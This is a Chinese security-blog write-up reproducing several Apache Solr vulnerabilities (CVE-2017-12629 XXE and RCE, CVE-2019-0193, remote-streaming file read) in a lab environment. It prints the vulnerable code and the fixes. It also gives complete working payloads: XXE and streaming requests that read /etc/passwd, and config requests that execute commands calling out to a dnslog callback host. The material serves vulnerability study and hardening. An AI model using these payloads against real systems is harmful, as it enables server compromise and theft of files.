STATEMENT
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
前言
Solr 是开源的,基于 Lucene Java 的搜索服务器。
易于加入到 Web 应用程序中,会生成基于HTTP 的管理界面。
后台管理界面Dashboard仪表盘中,可查看当前Solr的版本信息。
CVE-2017-12629-XXE
影响版本
Apache Solr < 7.1
Apache Lucene < 7.1
复现过程
启动环境后打开管理界面:
http://192.168.77.128:8983/solr/# /
solr-spec版本:7.0.1,lucene-spec版本:7.0.1,符合漏洞要求
利用外部实体读取敏感文件信息
1.开一个web服务,在下面创建一个1.dtd文件,文件内容如下
<!ENTITY % file SYSTEM
"file:///etc/passwd"
>
<!ENTITY % ent
"<!ENTITY data SYSTEM ':%file;'>"
>
2读取Linux下/etc/passwd文件信息,引用外部实体。
payload:
http:
//
192.168
.
77.128
:
8983
/solr/demo/
select
?&
q
=%3C%3fxml+version%3d%221.
0
%22+%3f%3E%3C!DOCTYPE+root%5b%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2f192.
168.77
.
128
%2f1.dtd%22%3E%25
URL解码后:
http://192.168.77.128:8983/solr/demo/select?&q=
<
r
>
&data;
</
r
>
&wt=xml&defType=xmlparser
本地DTD读取文件:
https://zhuanlan.zhihu.com/p/83713259
漏洞原理:
Lucene包含了一个查询解析器支持XML格式进行数据查询,并且解析xml数据时,未设置任何防御措施,导致我们可引入任意恶意外部实体
而Solr由于使用Lucenne作为核心语义分析引擎,因此受到影响
漏洞点:
org
.apache
.lucene
.queryparser
.xml
.CoreParser
#parseXML
此处为解析xml数据的方法,其中并未包含任何xxe防御措施
因此可正常解析我们引入的恶意外部实体
static
Document
parseXML
(InputStream pXmlFile)
throws
ParserException
{
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db =
null
;
try
{
db = dbf.newDocumentBuilder();
}
catch
(Exception se) {
throw
new
ParserException(
"XML Parser configuration error"
, se);
}
org.w3c.dom.Document doc =
null
;
try
{
doc = db.parse(pXmlFile);
}
catch
(Exception se) {
throw
new
ParserException(
"Error parsing XML stream:"
+ se, se);
}
return
doc;
}
漏洞修复:
官方修复是增加XXE通用防御,这也是我们常用的xxe修复方法
DocumentBuilderFactory.setFearture(
"http://javax.xml.XMLConstants/feature/secure-processing"
)
以下列出一些通过设置解析器行为,达到对xee进行限制的方法
// 这是优先选择. 如果不允许DTDs (doctypes) ,几乎可以阻止所有的XML实体攻击
setFeature(
"http://apache.org/xml/features/disallow-doctype-decl"
,
true
);
// 如果不能完全禁用DTDs,最少采取以下措施,必须两项同时存在
setFeature(
"http://xml.org/sax/features/external-general-entities"
,
false
);
// 防止外部实体POC
setFeature(
"http://xml.org/sax/features/external-parameter-entities"
,
false
);
// 防止参数实体POC
CVE-2017-12629-RCE
影响版本
Apache Solr < 7.1
Apache Lucene < 7.1
复现过程
触发命令执行的事件有两种:postCommit 和 newSearcher
使用newSearcher
其中demo为存在的core名称
数据包:
POST /solr/demo/config HTTP/1.1
Host: 192.168.77.128:8983
Connection: close
Content-Type: application/json
Content-Length: 178
{
"add-listener"
: {
"event"
:
"newSearcher"
,
"name"
:
"newlistener1"
,
"class"
:
"solr.RunExecutableListener"
,
"exe"
:
"ping"
,
"dir"
:
"/usr/bin/"
,
"args"
:[
"3pqsrm.dnslog.cn"
]
}
}
使用postCommit
数据包1:
POST /solr/demo/config HTTP/1.1
Host: 192.168.77.128:8983
Connection: close
Content-Type: application/json
Content-Length: 177
{
"add-listener"
: {
"event"
:
"postCommit"
,
"name"
:
"newlistener3"
,
"class"
:
"solr.RunExecutableListener"
,
"exe"
:
"ping"
,
"dir"
:
"/usr/bin/"
,
"args"
:[
"3pqsrm.dnslog.cn"
]
}
}
发送该请求后一直没有返回数据,取消重发会回显该name已经存在,所以发送第二个数据包
数据包2(数据随便输):
POST /solr/demo/
update
HTTP
/
1.1
Host:
192.168
.77
.128
:
8983
Connection
:
close
Content
-
Type
: application/
json
Content
-
Length
:
17
[{
"id"
:
"test"
}]
更新后发现两条记录都在(之前因为没有返回数据又试了一次)
漏洞原理
RCE需要使用到SolrCloud Collections API,所以RCE只影响Solrcloud分布式系统
漏洞点:
org
.apache
.solr
.core
.RunExecutableListener
#
exec
我们看见一下这行代码执行了命令,并传入了三个参数
proc
= Runtime.getRuntime().exec(cmd, envp ,dir);
查看API
cmdarray:命令字符串
envp:代表“环境”变量设置,如果envp是null ,则子进程继承当前进程的环境设置
dir:新子进程的工作目录由dir指定 。如果dir是null ,则子进程继承当前进程的当前工作目录。
那么我们怎么才能控制以上这三个参数呢?
在初始化时,通过初始化传入的参数args
分别获得这三个参数cmd,dir,envp
找到调用exec()的有两处
org
.apache
.solr
.core
.RunExecutableListener
#
postCommit
org
.apache
.solr
.core
.RunExecutableListener
#
newSearcher
因此我们可以config API调用以上两个命令执行命令
关于config API更多信息可查看传送门中放置的官网链接
漏洞修复
官方修复直接将该类删除
CVE-2019-0193
影响版本
Apache solr < 8.2.0
复现过程
在Apache solr的可选模块DatalmportHandler中的DIH配置是可以包含脚本,因此存在安全隐患,在apache solr < 8.2.0版本之前DIH配置中dataconfig可以被用户控制
vulhub环境下,进入后会让我们新建一个core
我们需要在服务器中新建,这里新建会报错找不到配置文件
新建test core命令
docker-compose
exec
solr bash bin/solr create_core -c
test
-d example/example-DIH/solr/db
刷新页面即可看见新建的core
根据以下步骤进行代码执行
exp:
<
dataConfig
>
<
dataSource
type
=
"URLDataSource"
/>
<
script
>
<![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("ping 0ytihf.dnslog.cn");
}
]]>
</
script
>
<
document
>
<
entity
name
=
"stackoverflow"
url
=
"https://stackoverflow.com/feeds/tag/solr"
processor
=
"XPathEntityProcessor"
forEach
=
"/feed"
transformer
=
"script:poc"
/>
</
document
>
</
dataConfig
执行成功后,上方会出现绿色修勾勾
命令执行成功
漏洞原理
DataImportHandler 是一个可选但流行的模块,用于从数据库和其他来源提取数据。它有一个特性,即整个 DIH(the Data Import Handler,数据导入处理程序) 配置可以来自请求的dataConfig参数
DIH 管理屏幕的调试模式使用它来方便 DIH 配置的调试/开发。因为 DIH 配置可以包含脚本,并未对脚本进行任何过滤检测,所以这个参数存在安全风险
从 Solr 的8.2.0版本开始,使用这个参数需要将 Java System 属性 enable.dih.dataConfigParam 设置为 true,此时也将存在该漏洞
DHI和script官方文档链接放在传送门中
我们可以根据官方文档的说明,插入脚本并执行,其中entity标签支持jndi以及script
漏洞点:
org
.apache
.solr
.handler
.dataimport
.DataImportHandler
其中
handleRequestBody
()函数接收了前端传入的
dataConfig
后面就不再分析了,因为这个漏洞是solr该模块允许执行脚本,官方文档中也描述了该模块以及脚本的使用
漏洞修复
官方修复增加enable.dih.dataConfigParam参数,默认=false,仅在启动solr时带上参数enable.dih.dataConfigParam=true才可启动debug模式
Remote-Streaming-Fileread(任意文件读取)
复现过程
1.获取cores
GET
/solr/admin/cores?_=1637649371526&show=schema&wt=json
HTTP/1.1
Host
: 192.168.8.128:8983
User-Agent
: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept
: application/json, text/plain, */*
Accept-Language
: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding
: gzip, deflate
Referer
: http://192.168.8.128:8983/solr/
X-Requested-With
: XMLHttpRequest
DNT
: 1
Connection
: close
存在的core名为demo
2. 修改demo的配置,开启RemoteStreaming
POST
/solr/demo/config?_=1637649371526&show=schema&wt=json
HTTP/1.1
Host
: 192.168.8.128:8983
User-Agent
: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept
: application/json, text/plain, */*
Accept-Language
: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding
: gzip, deflate
Referer
: http://192.168.8.128:8983/solr/
X-Requested-With
: XMLHttpRequest
DNT
: 1
Connection
: close
Content-Length
: 82
{
"set-property"
: {
"requestDispatcher.requestParsers.enableRemoteStreaming"
:
true
}}
当出现以下信息时,表示漏洞可能存在:
This response format is experimental. It is likely to change in the future
3.读取敏感文件
数据包:
GET
/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd
HTTP/1.1
Host
: 192.168.8.128:8983
User-Agent
: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept
: application/json, text/plain, */*
Accept-Language
: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding
: gzip, deflate
Referer
: http://192.168.8.128:8983/solr/
X-Requested-With
: XMLHttpRequest
DNT
: 1
Connection
: close
Content-Length
: 0
读取成功
漏洞原理
官方文档中写明,
solrconfig.xml中enableRemoteStreaming="true"时允许远程流
因此我们可以通过config API,启用远程读取流
enableRemoteStreaming = “true”,将允许任何人向任何 URL 或本地文件发送请求
DumpRequestHandler = “true”,它将允许任何人查看系统上的任何文件。
漏洞点:
solr/core/src/java/org/apache/solr/servlet/SolrRequestParsers.java
其中通过以下代码获取前端传入数据
strs
= params.getParams( CommonParams.STREAM_FILE );
在进行文件获取时,未对传入的strs进行任何检测和过滤,并生成stream
for
( final
String
file : strs ) {
ContentStreamBase stream =
new
ContentStreamBase.FileStream(
new
File(file) );
if
( contentType !=
null
) {
stream.setContentType( contentType );
}
streams.add( stream );
}
在solr/solrj/src/java/org/apache/solr/common/params/CommonParams.java中,写明了stream.file即为传入的CommonParams.STREAM_FILE
其中若传入url可导致ssrf,原理同上
漏洞修复
1. 控制solr访问权限,增加访问口令
2. 不对外网开放solr
3. 关闭ConfigAPI:在bin目录下的solr.in.cmd中加入一行set SOLR_OPTS=%SOLR_OPTS% -Ddisable.configEdit=true;然后关闭远程读取文件流,默认不开启
RECRUITMENT
招聘启事
END
长按识别二维码关注我们
原文始发于微信公众号(白帽子):代码审计角度之solr漏洞小结
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论